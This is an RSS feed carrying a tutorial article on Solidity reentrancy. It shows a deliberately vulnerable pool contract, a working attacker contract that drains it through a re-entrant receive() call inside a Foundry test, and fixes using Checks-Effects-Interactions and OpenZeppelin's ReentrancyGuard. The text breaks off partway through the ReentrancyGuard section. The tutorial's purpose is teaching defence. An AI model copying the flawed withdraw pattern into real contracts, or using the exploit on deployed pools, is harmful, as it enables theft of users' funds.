<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Régis</title>
    <description>The latest articles on DEV Community by Régis (@regisgraptin).</description>
    <link>https://dev.to/regisgraptin</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3254992%2Fc16592db-32c9-4898-8ee2-ea49cc238a18.png</url>
      <title>DEV Community: Régis</title>
      <link>https://dev.to/regisgraptin</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/regisgraptin"/>
    <language>en</language>
    <item>
      <title>Reentrancy Attacks: The Billion-Dollar Solidity Vulnerability [Code Walkthrough]</title>
      <dc:creator>Régis</dc:creator>
      <pubDate>Sat, 21 Jun 2025 16:01:42 +0000</pubDate>
      <link>https://dev.to/regisgraptin/reentrancy-attacks-the-billion-dollar-solidity-vulnerability-code-walkthrough-3o9h</link>
      <guid>https://dev.to/regisgraptin/reentrancy-attacks-the-billion-dollar-solidity-vulnerability-code-walkthrough-3o9h</guid>
      <description>&lt;p&gt;Reentrancy attacks remain a billion-dollar vulnerability in Solidity smart contracts. In this code walkthrough, you’ll discover how attackers exploit this flaw to drain funds, and how you can protect your smart contract to secure your DApps.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is a Reentrancy Attack?
&lt;/h2&gt;

&lt;p&gt;A Reentrancy attack occurs when a malicious contract &lt;strong&gt;repeatedly calls back into a vulnerable contract before the original execution completes&lt;/strong&gt;. This can happen, for example, during an external call to a withdrawal function, before the contract has had a chance to update its internal state. As a result, the attacker can exploit this window to drain funds or &lt;strong&gt;manipulate the contract’s behavior based on an outdated state&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Now, let’s walk through a simplified example to see how Reentrancy can happen. Can you spot the vulnerability in the following smart contract?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;pragma&lt;/span&gt; &lt;span class="nx"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// /!\ DO NOT USE THIS CODE IN PRODUCTION !!!&lt;/span&gt;
&lt;span class="nx"&gt;contract&lt;/span&gt; &lt;span class="nx"&gt;ReentrancyPool&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;userBalance&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;unchecked&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nx"&gt;userBalance&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userBalance&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Insufficient balance&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// Check if user has enough balance&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bool&lt;/span&gt; &lt;span class="nx"&gt;success&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;call&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;  &lt;span class="c1"&gt;// Send requested Ether to the user&lt;/span&gt;
        &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;success&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Transfer failed&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
        &lt;span class="nx"&gt;unchecked&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nx"&gt;userBalance&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// Update user's balance&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the following code, we have a Pool contract that tracks user balances. This balance is updated when a user makes a deposit by providing some ETH to the smart contract. Then, later on, he can withdraw it by calling the &lt;code&gt;withdraw()&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;Take a moment to think about what could go wrong here…&lt;/p&gt;

&lt;p&gt;Okay, so the issue is in the &lt;code&gt;withdraw()&lt;/code&gt; function. In a smart contract, we execute a contract instructions by instructions, right? So first, it checks the user balance, which is correct if the user has some funds. Then, send the funds to the user by giving the requested amount. Now, here come the issue.&lt;/p&gt;

&lt;p&gt;If you send some funds using your address (External Owned Account), nothing happens. However, nothing prevents you to create a smart contract that is going to call this function, right? And in Solidity, you can create a &lt;code&gt;receive()&lt;/code&gt; function that will be called when someone sends you some ETH. Now, when the Pool contract sends some ETH to the smart contract, it is going to call the &lt;code&gt;receive()&lt;/code&gt; function. But wait, my user balance has not changed, right? Can I call the &lt;code&gt;withdraw()&lt;/code&gt; function again? I mean, the Pool still have some ETH available and I still have some value in my balance, as it has not updated it yet! I can take advantage of this to request more money from the Pool!&lt;/p&gt;

&lt;p&gt;This is exactly what a Reentrancy attack looks like. Basically, the contract still has not completed his process and have not updated his state accordingly. Let’s illustrate the potential workflow for an attacker with a diagram:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0sx42l6j73821q888w0m.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0sx42l6j73821q888w0m.webp" alt="Reentrancy Attack — Exploit Workflow" width="800" height="495"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In blue, we have the initial call done by an attacker. At first, the attacker deposits some ETH in the Pool to update his user balance. Once deposited, he can withdraw them. When withdraw, illustrated in red, the Pool contract is going to call the &lt;code&gt;receive()&lt;/code&gt; function. As the user balance is not updated yet, the attacker can call again the &lt;code&gt;withdraw()&lt;/code&gt; function to extract more ETH.&lt;/p&gt;

&lt;h2&gt;
  
  
   Proof of Exploit: How Attackers Use Reentrancy Attacks
&lt;/h2&gt;

&lt;p&gt;Enough theory, let’s see how we can write a smart contract that is going to exploit the Pool. We are going to use Foundry to create a simple test case for that.&lt;/p&gt;

&lt;p&gt;I have commented in &lt;code&gt;TODO&lt;/code&gt; the implementation part if you want to try on your own in your computer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT&lt;/span&gt;
&lt;span class="nx"&gt;pragma&lt;/span&gt; &lt;span class="nx"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;Test&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;forge-std/Test.sol&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;ReentrancyPool&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;../src/ReentrancyPool.sol&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;


&lt;span class="nx"&gt;contract&lt;/span&gt; &lt;span class="nx"&gt;ReentrancyPoolTest&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;Test&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="nx"&gt;address&lt;/span&gt; &lt;span class="nx"&gt;deployer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;makeAddr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;deployer&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;address&lt;/span&gt; &lt;span class="nx"&gt;attacker&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;makeAddr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;attacker&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="nx"&gt;ReentrancyPool&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;pool&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;setUp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;startHoax&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;deployer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;pool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ReentrancyPool&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="nx"&gt;pool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="nx"&gt;e18&lt;/span&gt;&lt;span class="p"&gt;}();&lt;/span&gt;
        &lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;deal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;attacker&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nx"&gt;e18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// Give some ETH to the attacker&lt;/span&gt;
        &lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stopPrank&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;test_exploit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startPrank&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;attacker&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// TODO: Try to do a reentrancy&lt;/span&gt;
        &lt;span class="c1"&gt;// Hint: Maybe you need to create your own contract?&lt;/span&gt;

        &lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stopPrank&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="nf"&gt;assert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pool&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nf"&gt;assert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;attacker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Did you give it a try? Did you manage to spot the issue?&lt;/p&gt;

&lt;p&gt;Or maybe you scrolled too far and got spoiled 😅 Not easy, but I try my best!&lt;/p&gt;

&lt;p&gt;Alright, I believe in you, and I’m sure you nailed it. Congrats!&lt;/p&gt;

&lt;p&gt;Let’s see how we can create our malicious smart contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;contract&lt;/span&gt; &lt;span class="nx"&gt;AttackerContract&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;ReentrancyPool&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;pool&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt; &lt;span class="nx"&gt;_pool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;pool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;ReentrancyPool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_pool&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;attack&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="nx"&gt;external&lt;/span&gt; &lt;span class="nx"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;pool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}();&lt;/span&gt;
        &lt;span class="nx"&gt;pool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nx"&gt;e18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nf"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="nx"&gt;external&lt;/span&gt; &lt;span class="nx"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pool&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nx"&gt;e18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nx"&gt;pool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nx"&gt;e18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this smart contract, we have implemented a &lt;code&gt;receive()&lt;/code&gt; function that is going to call the &lt;code&gt;withdraw()&lt;/code&gt; function from the Pool, while it still has some ETH available.&lt;/p&gt;

&lt;p&gt;To complete our implementation, in the first test case, we can update the &lt;code&gt;TODO&lt;/code&gt; comment by adding the following code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;AttackerContract&lt;/span&gt; &lt;span class="nx"&gt;attackerContract&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AttackerContract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pool&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nx"&gt;attackerContract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;attack&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nx"&gt;e18&lt;/span&gt;&lt;span class="p"&gt;}();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alright, hope you succeed to do it on your side. Now, let’s try to understand what went wrong here and how can we fix this issue.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preventing Reentrancy Attacks: The Checks-Effects-Interactions Pattern
&lt;/h2&gt;

&lt;p&gt;In the code sample, the main issue was regarding the user balance state. It was not updated accordingly, while we were calling another smart contract, that could, again, interact with our smart contract. In Solidity, a good practice is to follow a &lt;em&gt;Checks-Effects-Interactions&lt;/em&gt; pattern, where we:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Checks — Validate inputs and conditions (e.g., require statements).&lt;/li&gt;
&lt;li&gt;Effects — Update the contract’s internal state.&lt;/li&gt;
&lt;li&gt;Interactions — Interact with external contracts (e.g., transfer ETH, call other contracts).&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Apply the Checks-Effects-Interactions pattern
&lt;/h3&gt;

&lt;p&gt;Let’s see how we can modify our code to implement the &lt;em&gt;Checks-Effects-Interactions&lt;/em&gt; pattern:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uint&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userBalance&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Insufficient balance&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Check&lt;/span&gt;
    &lt;span class="nx"&gt;userBalance&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                                  &lt;span class="c1"&gt;// Effect&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bool&lt;/span&gt; &lt;span class="nx"&gt;success&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;call&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;     &lt;span class="c1"&gt;// Interaction&lt;/span&gt;
    &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;success&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Transfer failed&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you notice in the code, we have updated the execution order by moving the update balance operation before sending the ETH to the user. By doing so, we ensure that we are modifying the state of the contract first, before calling another smart contract.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Note: We also remove the &lt;code&gt;unchecked&lt;/code&gt; flag. By removing it, it ensures that we do not do any overflow, another vulnerability that we might talk in another article.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The &lt;em&gt;Checks-Effects-Interactions&lt;/em&gt; pattern is a good practice for smart contract, avoiding Reentrancy exploit. However, sometimes, due to contract logic and complexity, we can be restricted on how we can modify the state inside our Smart Contract. This is where other tools can help us, such as &lt;code&gt;ReentrancyGuard&lt;/code&gt; from OpenZeppelin.&lt;/p&gt;

&lt;h2&gt;
  
  
  OpenZeppelin’s Reentrancy Guard
&lt;/h2&gt;

&lt;p&gt;You may already be familiar with whom is OpenZeppelin. It provides audited and optimized contract, allowing you to use them directly in your project. If you have ever created your first ERC20, you might have used OpenZeppelin.&lt;/p&gt;

&lt;p&gt;The reason to use a library such as OpenZeppelin is they provided audited smart contract, allowing us to reducing the need to write low-level logic from scratch, increasing our code confidence. We still have to be cautious on the implementation, as it does not remove any vulnerabilities, but rather help us to build our smart contract with strong foundations.&lt;/p&gt;

&lt;p&gt;In the OpenZeppelin security utilities, they are providing a &lt;a href="https://docs.openzeppelin.com/contracts/5.x/api/utils#ReentrancyGuard" rel="noopener noreferrer"&gt;&lt;code&gt;ReentrancyGuard&lt;/code&gt; contract&lt;/a&gt; which helps us to manage reentrancy issue.&lt;/p&gt;

&lt;p&gt;To implement it, we need to import the &lt;code&gt;ReentrencyGuard&lt;/code&gt; by importing&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
